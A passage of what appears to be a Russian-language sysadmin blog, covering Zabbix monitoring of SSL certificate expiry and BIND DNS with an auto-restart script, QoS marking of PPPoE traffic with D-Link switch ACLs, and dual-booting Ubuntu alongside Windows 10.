UserParameter=ssl.eol[*],date -d "`echo | openssl s_client -connect "$1":"$2" 2>/dev/null | openssl x509 -noout -dates | grep "notAfter" | sed 's|.*notAfter=||'`" +%s
UserParameter=ssl.ttl[*],echo `date -d "\`echo | openssl s_client -connect "$1":"$2" 2>/dev/null | openssl x509 -noout -dates | grep 'notAfter' | sed 's|.*notAfter=||'\`" +%s`-`date +%s` | bc

Можно добавить мониторинг сертификатов, у которых есть срок действия, но нет возможности собственно мониторинга и мы знаем только срок действия и что его нужно будет продлевать. Дату необходимо сконвертировать в unix формат, например на http://www.cy-pr.com/tools/time/

# Некий сертификат, назовём его cert
UserParameter=ssl.eol.cert,echo 1531353600
UserParameter=ssl.ttl.cert,echo 1531353600-`date +%s` | bc

В триггерах теперь отображается время до окончания срока действия сертификата:

В последних данных. EOL — end of life (когда закончится), TTL — time to live (сколько осталось времени):

 

Мониторинг DNS (сервиса Named = Bind) с помощью Zabbix

Используемый в данной статье шаблон я скачал где-то на просторах интернета и несколько допилил под себя, автору оригинала «Спасибо». В данном шаблоне столько триггеров потому, что в своё время сервис named у меня любил падать и/или не заводиться при перезагрузке. После организации мониторинга и толковой настройки всё стало хорошо.

Имеем сервер с CentOS (для Debian просто скорректируйте пути) с работающим сервисом Named (он же Bind).

Чтобы всё взлетело нужно установить пакеты: zabbix и zabbix-agent (для Debian только zabbix-agent) и xml2. Пакеты заббикса можно взять тут: http://repo.zabbix.com/zabbix/2.4/

Редактируем необходимые переменные в /etc/zabbix/zabbix_agentd.conf

sudo -i
nano /etc/zabbix/zabbix_agentd.conf
LogFileSize=15
DebugLevel=3
Server=<ip адрес zabbix сервера>
ServerActive=<ip адрес zabbix сервера>
Hostname=<ip адрес данной машины> - <имя машины>   # Hostname = Имя хоста на Zabbix сервере
HostMetadataItem=system.uname
Timeout=30
Include=/etc/zabbix/zabbix_agentd.d/

UserParameter=bind.worksdig,cat /tmp/zabbix.named.dig
UserParameter=bind.worksnslookup,cat /tmp/zabbix.named.nslookup
UserParameter=bind.queries.in[*],curl -s http://localhost:8053/ 2>/dev/null | xml2 | grep -A1 -i "/isc/bind/statistics/server/queries-in/rdtype/name=$1$" | tail -1 | cut -d= -f2
UserParameter=bind.queries.out[*],curl -s http://localhost:8053/ 2>/dev/null | xml2 | grep -A1 -i "/isc/bind/statistics/views/view/rdtype/name=$1$" | tail -1 | cut -d= -f2
UserParameter=bind.stats.query[*],curl -s http://localhost:8053/ 2>/dev/null | xml2 | grep -A1 -i "/isc/bind/statistics/server/nsstat/name=Qry$1" | tail -1 | cut -d= -f2
UserParameter=bind.net.udp,netstat -nua | grep :53 | wc -l
UserParameter=bind.net.tcp,netstat -nta | grep :53 | wc -l

Добавляем в крон задания:

crontab -e -u root
# Записываем значение параметра в файлы для прочтения zabbix агентом
*/2 * * * * echo "0" > /tmp/zabbix.named.nslookup ; timeout -s HUP 3 nslookup google.com <ip адрес нашего сервера> | grep -c "Name:" > /tmp/zabbix.named.nslookup ; sleep 3 ; /etc/zabbix/scripts/zabbix.named.check.sh >> /tmp/zabbix.named.log
*/2 * * * * echo "0" > /tmp/zabbix.named.dig ; timeout -s HUP 3 dig google.com @<ip адрес нашего сервера> | grep -c "google.com" > /tmp/zabbix.named.dig

nano /etc/zabbix/scripts/zabbix.named.check.sh
(ну или напишите свой красивый велосипед)

#!/bin/bash
response=`cat /tmp/zabbix.named.nslookup`
datenow=`/bin/date`

if [ "$response" = 0 ]
then
 echo -e "\n\nNOW: $datenow And at response of zabbix.named.nslookup we have: $response"
 echo -e "\nOk, at zabbix.named.nslookup we have 0"
 echo "Copy date to zabbix.named.date_fail and create flag"
 /bin/date >> /tmp/zabbix.named.date_fail
 /bin/touch /tmp/zabbix.named.flag_dontwork

# Если флаг существует значит надо остановить сервис или убить процесс
 if [ -e /tmp/zabbix.named.flag_dontwork ]
 then
 /bin/rm -f /tmp/zabbix.named.flag_dontwork
 tokill=`ps axu | grep "usr" | grep "sbin" | grep "named" | awk '{print $2}' | head -n1`
 echo -e "\nOk, Flag exist"
 echo "PID of named: $tokill"
 echo -e "\nTry to stop service named"
 /etc/init.d/named stop

tokillbypid=`ps axu | grep "usr" | grep "sbin" | grep "named" | awk '{print $2}' | head -n1`
 # Если строка пустая, то служба остановлена
 while [ "$tokillbypid" ]
 do
 echo "Service don't stopped, try to kill by PID $tokillbypid"
 # Через kill -HUP named не дохнет
 kill -9 $tokillbypid
 killall -9 named
 tokillbypid=`ps axu | grep "usr" | grep "sbin" | grep "named" | awk '{print $2}' | head -n1`
 done
 echo "Service named stopped"

fi
 echo -e "\nLet's start service named!"
 /etc/init.d/named start
fi
exit 0
chmod +x /etc/zabbix/scripts/zabbix.named.check.sh
chown zabbix:root /etc/zabbix/scripts/zabbix.named.check.sh

Как видите, сервис перезапускается если перестаёт нормально работать. После настройки не забываем перезапустить сервис zabbix-agent.

service zabbix-agent restart

Теперь импортируем шаблон на сервере (точно будет работать на Zabbix 2.2 — 2.4) zbx_export_templates_bind_named_xml и добавляем его на хост нашего DNS сервера.

Через 5 минут можно смотреть графики. Для просмотра лучше создать отдельный Комплексный экран и добавить туда все графики.

Т.к. команды с curl тяжёлые по времени выполнения, в конфиге агента и сервера лучше отредактировать переменную отвечающую за время выполнения скриптов.

 Timeout=30

На этом всё.

Маркировка PPPoE трафика для QoS на D-Link с помощью ACL

Дисклеймер: нижеописанное есть имхо и может быть не совсем точным в технических деталях, но если кому-то поможет — я буду только рад.

Введение

Будем считать, что все уже в курсе для чего нужен QoS, уже есть понимание каким типам трафика какие приоритеты нужно выделить и осталось только произвести настройку.

Маркировка трафика для QoS с точки зрения оборудования обычно производится на уровне агрегации — ядра (Core) или крупных узлов — дистрибуции (Distribution). С точки зрения модели OSI — на втором уровне (канальном — поле 802.1p) — в рамках одного широковещательного домена или вилана (VLAN 802.1Q) и третьем (сетевом — обычно поле DSCP) — для передачи приоритетов между маршрутизаторами.

Как увидеть поля 802.1p и DSCP

Чтобы контролировать правильность составления ACL, надо увидеть поля 802.1p и DSCP. Для этого проще всего зеркалировать трафик с UPLINK порта коммутатора (на котором и помечаем трафик) на порт с которого подключен наш ПК. Чтобы увидеть заголовок кадра (канальный уровень), нужно захватывать трафик в линуксе, кроме того некоторые сетевые карты сами отбрасывают эти заголовки перед передачей в ОС (?), поэтому если не увидите тэги — пробуйте на другой сетевой карте.

Запускаем Wireshark, кликаем правой кнопкой на заголовках колонок и в настройках (Column Preferences) добавляем поля: DSCP (IP DSCP Value), VLAN id (802.1Q VLAN id), 802.1p (Custom vlan.priority).

Так же надо помнить что мы не увидим поле 802.1p для пакетов из выставленного на зеркалируемый порт Untagged вилана (Access в терминалогии Cisco), т.к. коммутатор будет снимать заголовок 802.1Q для пакетов у которых PVID (Port Vlan Identifier) порта равен VID кадра.

Кое-что о QoS

Если у вас провайдерская сеть — используйте алгоритм WRR вместо Strict (по-умолчанию), об этом много где написано. Так же распределяйте маркируемый трафик по приоритетам так, чтобы он адекватно распределялся по очередям, а иначе какой смысл всего этого действа?)

Соответствие приоритетов на канальном и сетевом уровнях, а так же связь с очередями на коммутаторах. Часть таблицы позаимствована тут. Соответствие как бы условное, просто вы можете, например, написать правило на маршрутизаторе, что если пришел пакет с DSCP=48, то нужно прописать в нём 802.1p=6.

PCP Priority Ethernet Traffic Class (Wireshark) IP Precedence Value (Cisco) D-Link 4 очереди D-Link 8 очередей DSCP
7 7 Network Control network Q3 Q6 56
6 6 Voice, < 10 ms latency and jitter internet Q3 Q6 48
5 5 Video, < 100 ms latency and jitter critical Q2 Q5 40-46
4 4 Controlled Load (контролируемая нагрузка) flash-override Q2 Q4 32-38
3 3 Excellent Effort flash Q1 Q3 24-30
2 2 Spare (запасной) immediate Q0 Q1 16-22
0 1 Background (фоновый) priority Q0 Q0 8-14
1 0 Best Effort (по умолчанию, доставка по возможности, негарантированная доставка) routine Q1 Q2 0

Особенности ACL на D-Link

Чтобы не запутаться с Source и Destination при составлении правил, надо запомнить что на коммутаторах D-Link ACL применяются только для пакетов, приходящих  на порт коммутатора (со стороны клиента), в то время как (например) на Cisco правила можно применять на приходящие и уходящие с порта пакеты. Клиент в данном случае это любое сетевое устройство, подключенное к данному порту коммутатора.

Каждый пакет проверяется на соответствие условиям из списка ACL, причем условия (правила) перебираются по очереди. Если пакет попал в соответствие правилу — выполняется действие (пакет пропускается или отбрасывается, плюс в нём могут быть изменены поля приоритетов). Т.е. после попадания в соответствие какому-либо условию данный пакет не проверяется на соответствие оставшимся в списке правилам. Поэтому очень важно заранее продумывать порядок правил, чтобы с пакетами, попадающим в соответствие к нескольким правилам, производились наиболее подходящие действия.

На коммутаторах D-Link есть определенные ограничения на количество профайлов и правил в них. Например в D-Link DGS-3620 Series можно создать 6 профайлов (только один типа Packet content profile), 256 правил в каждом, а в D-Link DGS-3600 Series — 14 профайлов (только один типа Packet content profile), 128 правил в каждом. Так же есть другие ограничения, о них будет замечено в примерах правил ACL.

Разница в составлении правил для обычных и инкапсулированных в PPPoE IP пакетов.

Теперь самое интересное. Если в сети используется протокол PPPoE, то правила ACL, анализирующие MAC адреса и VLAN ID будут работать для всех кадров, а связанные с заголовком IP пакета — только для обычных кадров, но не для PPPoE. Почему так происходит? Посмотрим на кадры в Wireshark.

Обычный кадр:

Кадр с PPPoE:

Из-за PPPoE заголовок IP смещается на 8 байт, поэтому коммутатор не может его прочитать. Поэтому правила связанные с MAC адресами и VLAN ID пишем одни на всех, а с IP адресами — в двух вариациях.

Начнём с общих. На разных линейках коммутаторов в синтаксисе могут быть различия, например D-Link DGS-3620 Series просит название профайла, а у DGS-3600 Series такого нет. В данном случае у нас 28 портов и 27 является UPLINK’ом.

Маркируем управляющий вилан (менеджмент трафик).

delete access_profile profile_id 1
create access_profile profile_id 1 profile_name Management ip vlan 0xFFF dscp
config access_profile profile_id 1 add access_id 1 ip vlan_id 1 port 1-28 permit priority 7 replace_priority replace_dscp 56

Маркируем WEB трафик и IP телефонию по TCP и UDP портам.

delete access_profile profile_id 2
create access_profile profile_id 2 profile_name Static_UDP ip udp src_port_mask 0xFFFF dst_port_mask 0xFFFF dscp
config access_profile profile_id 2 add access_id 1 ip udp src_port 5060 port 1-28 permit priority 6 replace_priority replace_dscp 48
config access_profile profile_id 2 add access_id 2 ip udp dst_port 5060 port 1-28 permit priority 6 replace_priority replace_dscp 48
delete access_profile profile_id 3
create access_profile profile_id 3 profile_name Static_TCP ip tcp src_port_mask 0xFFFF dst_port_mask 0xFFFF dscp
config access_profile profile_id 3 add access_id 1 ip tcp src_port 80 port 27 permit priority 4 replace_priority replace_dscp 32
config access_profile profile_id 3 add access_id 2 ip tcp src_port 443 port 27 permit priority 4 replace_priority replace_dscp 32
config access_profile profile_id 3 add access_id 3 ip tcp src_port 5060 port 1-28 permit priority 6 replace_priority replace_dscp 48
config access_profile profile_id 3 add access_id 4 ip tcp src_port 5061 port 1-28 permit priority 6 replace_priority replace_dscp 48
config access_profile profile_id 3 add access_id 5 ip tcp dst_port 5060 port 1-28 permit priority 6 replace_priority replace_dscp 48
config access_profile profile_id 3 add access_id 6 ip tcp dst_port 5061 port 1-28 permit priority 6 replace_priority replace_dscp 48

Маркируем мультикаст трафик по IP адресу и маске.

delete access_profile profile_id 4
create access_profile profile_id 4 profile_name Multicast_dst ip destination_ip_mask 0.0.0.0 dscp
config access_profile profile_id 4 add access_id 1 ip destination_ip 224.0.0.0 mask 224.0.0.0 port 1-28 permit priority 3 replace_priority replace_dscp 26

Далее мы хотим промаркировать трафик с определённых сервисов, например местных кэширующих серверов Google и серверов Wargaming. Из нюансов для разных линеек коммутаторов: на D-Link DGS-3620 Series можно создавать профайлы с 0.0.0.0 маской и дальше нарезать её как угодно в правилах, а на DGS-3600 Series придется создать отдельный профайл на каждую необходимую маску.

Для обычных пакетов:

delete access_profile profile_id 6
create access_profile profile_id 6 profile_name Static_IP ip source_ip_mask 0.0.0.0
# Cache servers
config access_profile profile_id 6 add access_id 2 ip source_ip 128.0.80.0 mask 255.255.240.0 port 27 permit priority 3 replace_priority replace_dscp 24
# Wargaming
config access_profile profile_id 6 add access_id 11 ip source_ip 92.223.0.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 12 ip source_ip 92.223.1.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 13 ip source_ip 92.223.2.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 14 ip source_ip 92.223.3.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 15 ip source_ip 92.223.4.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 16 ip source_ip 92.223.6.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 17 ip source_ip 92.223.8.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 18 ip source_ip 92.223.10.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 19 ip source_ip 92.223.12.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 20 ip source_ip 92.223.14.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 21 ip source_ip 92.223.16.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 22 ip source_ip 92.223.17.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 23 ip source_ip 92.223.18.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 24 ip source_ip 92.223.19.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 25 ip source_ip 92.223.20.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 26 ip source_ip 92.223.21.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 27 ip source_ip 92.223.22.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 28 ip source_ip 92.223.23.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 29 ip source_ip 92.223.24.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 30 ip source_ip 92.223.25.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 31 ip source_ip 92.223.26.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 32 ip source_ip 92.223.27.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 33 ip source_ip 92.223.99.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 34 ip source_ip 92.223.112.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 35 ip source_ip 92.223.114.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 36 ip source_ip 92.223.116.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 37 ip source_ip 92.223.118.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 38 ip source_ip 92.223.119.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 39 ip source_ip 92.223.120.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 40 ip source_ip 92.223.121.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 41 ip source_ip 92.223.122.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 42 ip source_ip 92.223.123.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 43 ip source_ip 92.223.124.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 44 ip source_ip 92.223.125.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 45 ip source_ip 92.223.126.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 46 ip source_ip 92.223.127.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 47 ip source_ip 185.12.212.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 48 ip source_ip 185.12.213.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 49 ip source_ip 185.12.240.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 50 ip source_ip 185.12.241.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 51 ip source_ip 185.12.242.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 6 add access_id 52 ip source_ip 185.12.243.0 mask 255.255.255.0 port 27 permit priority 5 replace_priority replace_dscp 40

Для PPPoE пакетов нужно создать профиль типа Packet content filter http://www.dlink.ru/ru/faq/62/892.htmlhttp://www.dlink.ru/ru/faq/62/240.html. Учтите что а мануале порядковые номера байтов в чанках записаны в десятичной системе счисления, а в Wireshark в шестнадцатеричной. К тому же в данный профайл можно добавить другие необходимые правила, типа фильтрации по TCP или UDP портам, достаточно добавить нужное смещение и маску. Разумеется все необходимые значения IP адресов, портов и т.п. нужно перевести в шестнадцатеричную систему счисления.

Шпаргалка по смещениям/расположению часто используемых полей в пакетах.

Обычные пакеты TCP/UDP

PPPoE пакеты TCP/UDP

Маска для правил ACL

Source IP

Chunk 8 (30-33)

Chunk 10 (38-41)

0xffffffff

Destination IP

Chunk 9 (34-37)

Chunk 11 (42-45)

0xffffffff

Source Port

Chunk 10 (38-39)

Chunk 12 (46-47)

0xffff0000

Destination Port

Chunk 10 (40-41)

Chunk 12 (48-49)

0x0000ffff

delete access_profile profile_id 5
create access_profile profile_id 5 profile_name PPPoE_pctcnt packet_content_mask offset_chunk_1 10 0xFFFFFF00 offset_chunk_2 12 0xFFFF0000
# HTTP, HTTPS
config access_profile profile_id 5 add access_id 1 packet_content offset_chunk_2 0x00500000 port 27 permit priority 4 replace_priority replace_dscp 32
config access_profile profile_id 5 add access_id 2 packet_content offset_chunk_2 0x01BB0000 port 27 permit priority 4 replace_priority replace_dscp 32
# Wargaming
config access_profile profile_id 5 add access_id 10 packet_content offset_chunk_1 0x5CDF0000 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 11 packet_content offset_chunk_1 0x5CDF0100 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 12 packet_content offset_chunk_1 0x5CDF0200 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 13 packet_content offset_chunk_1 0x5CDF0300 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 14 packet_content offset_chunk_1 0x5CDF0400 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 15 packet_content offset_chunk_1 0x5CDF0600 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 16 packet_content offset_chunk_1 0x5CDF0800 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 17 packet_content offset_chunk_1 0x5CDF0A00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 18 packet_content offset_chunk_1 0x5CDF0C00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 19 packet_content offset_chunk_1 0x5CDF0E00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 20 packet_content offset_chunk_1 0x5CDF1000 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 21 packet_content offset_chunk_1 0x5CDF1100 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 22 packet_content offset_chunk_1 0x5CDF1200 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 23 packet_content offset_chunk_1 0x5CDF1300 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 24 packet_content offset_chunk_1 0x5CDF1400 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 25 packet_content offset_chunk_1 0x5CDF1500 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 26 packet_content offset_chunk_1 0x5CDF1600 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 27 packet_content offset_chunk_1 0x5CDF1700 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 28 packet_content offset_chunk_1 0x5CDF1800 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 29 packet_content offset_chunk_1 0x5CDF1900 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 30 packet_content offset_chunk_1 0x5CDF1A00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 31 packet_content offset_chunk_1 0x5CDF1B00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 32 packet_content offset_chunk_1 0x5CDF6300 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 33 packet_content offset_chunk_1 0x5CDF7000 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 34 packet_content offset_chunk_1 0x5CDF7200 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 35 packet_content offset_chunk_1 0x5CDF7400 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 36 packet_content offset_chunk_1 0x5CDF7600 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 37 packet_content offset_chunk_1 0x5CDF7700 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 38 packet_content offset_chunk_1 0x5CDF7800 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 39 packet_content offset_chunk_1 0x5CDF7900 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 40 packet_content offset_chunk_1 0x5CDF7A00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 41 packet_content offset_chunk_1 0x5CDF7B00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 42 packet_content offset_chunk_1 0x5CDF7C00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 43 packet_content offset_chunk_1 0x5CDF7D00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 44 packet_content offset_chunk_1 0x5CDF7E00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 45 packet_content offset_chunk_1 0x5CDF7F00 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 46 packet_content offset_chunk_1 0xB90CD400 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 47 packet_content offset_chunk_1 0xB90CD500 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 48 packet_content offset_chunk_1 0xB90CF000 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 49 packet_content offset_chunk_1 0xB90CF100 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 50 packet_content offset_chunk_1 0xB90CF200 port 27 permit priority 5 replace_priority replace_dscp 40
config access_profile profile_id 5 add access_id 51 packet_content offset_chunk_1 0xB90CF300 port 27 permit priority 5 replace_priority replace_dscp 40
# Cache servers
config access_profile profile_id 5 add access_id 60 packet_content offset_chunk_1 0x80005000 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 61 packet_content offset_chunk_1 0x80005100 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 62 packet_content offset_chunk_1 0x80005200 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 63 packet_content offset_chunk_1 0x80005300 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 64 packet_content offset_chunk_1 0x80005400 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 65 packet_content offset_chunk_1 0x80005500 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 66 packet_content offset_chunk_1 0x80005600 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 67 packet_content offset_chunk_1 0x80005700 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 68 packet_content offset_chunk_1 0x80005800 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 69 packet_content offset_chunk_1 0x80005900 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 70 packet_content offset_chunk_1 0x80005A00 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 71 packet_content offset_chunk_1 0x80005B00 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 72 packet_content offset_chunk_1 0x80005C00 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 73 packet_content offset_chunk_1 0x80005D00 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 74 packet_content offset_chunk_1 0x80005E00 port 27 permit priority 3 replace_priority replace_dscp 24
config access_profile profile_id 5 add access_id 75 packet_content offset_chunk_1 0x80005F00 port 27 permit priority 3 replace_priority replace_dscp 24

Не забываем сохранить конфигурацию save all и убедиться, что трафик маркируется как мы задумали.

Для тестирования QoS необходимо ограничить пропускную способность порта (Bandwidth) до 2-10 Мб/с, к которому подключен наш ПК, и удалить правила ACL, маркирующие трафик. Затем организовать передачу приоритезируемого трафика. Затем запускаем iperf, выступающий сервером, на ПК за пределами нашего коммутатора, маркирующего трафик:

iperf -s -B <ip адрес сервера, на котором работает iperf> -i 1

И iperf, выступающий клиентом, на нашем ПК.

iperf -c <ip адрес сервера, к которому подключается клиент> -t 360

Далее добавляем правила ACL и смотрим как изменилась ситуация.

Так же QoS можно протестировать организовав с помощью iperf UDP поток, по нему будет видно количество потерянных пакетов до и после включения правил ACL. iperf тогда запускаем с такими параметрами:

iperf -s -u -B <ip адрес сервера, на котором работает iperf> -i 1
iperf -c <ip адрес сервера, к которому подключается клиент> -u -P 1 -i 1 -f m -b 10M -t 360

Ubuntu и Windows 10

Ставим/обновляемся до Windows 10.

После установки заходим в Параметры (Панель управления) — Электропитание — Действие кнопок питания (слева) — Изменение недоступных в данный момент параметров — Снимаем галочку на пункте Включить быстрый запуск (так называемый Fast boot или Turn on fast startup)

Дальше вся хитрость в том, чтобы сделать не обычную, а работающую через UEFI флэшку, либо записать образ на DVD, причем прокатит только x64.

Для этого нужно открыть gparted (или какую-нибудь аналогичную windows утилиту) и создать на флэшке таблицу разделов не как обычно msdos, а gpt. После этого создать раздел FAT32 и записать образ диска через любимую программу (Создание загрузочного диска в Ubuntu, Unetbootin, UltraISO и т.д.).

После этого у нас получится загрузиться с флэхи не меняя режим загрузки в биосе с UEFI на Legacy. Для убунты различие будет видно сразу — вместо привычной менюшки с выбором (Попробовать и установить, установить сразу, потестить…) будет чёрный экран grub с примерно таким же меню.

Дальше грузимся с флэхи, размечаем нужные для убунты разделы как привычно и как нравится, и, самое важное, записываем загрузчик в раздел uefi, по label’ам разделов будет сразу понятно какой это из них, если жёсткий всего один, то как правило это sda2. Перезагружаемся и пользуемся.

Если меню граба работает криво или вообще грузится только винда — поможет утилита Boot-repair. Про неё написано много и везде, кратко: снова грузимся с live cd (с нашей флэхи или диска, в режиме UEFI). Добываем доступ в инет, открываем терминал…

sudo -i
add-apt-repository ppa:yannubuntu/boot-repair
apt-get update
apt-get install -y boot-repair && (boot-repair &)

В утилите жмём Recommended repair. Она сама всё сделает и попросить вставить команды в терминал, вставляем, нажимаем Forward и так пару раз, после окончания перезагружаем комп и пользуемся!

Интеллектуальный мониторинг: удалённый перезапуск сервиса с помощью Zabbix

Если Вы пользуетесь Zabbix’ом, то знаете что через «Действия» можно реализовать очень много интересных и сложных вещей, поделюсь одним из use case’ов.

Источник событий: Триггеры

Обычно в этом разделе настраиваются уведомления через email, sms, jabber и т.д.

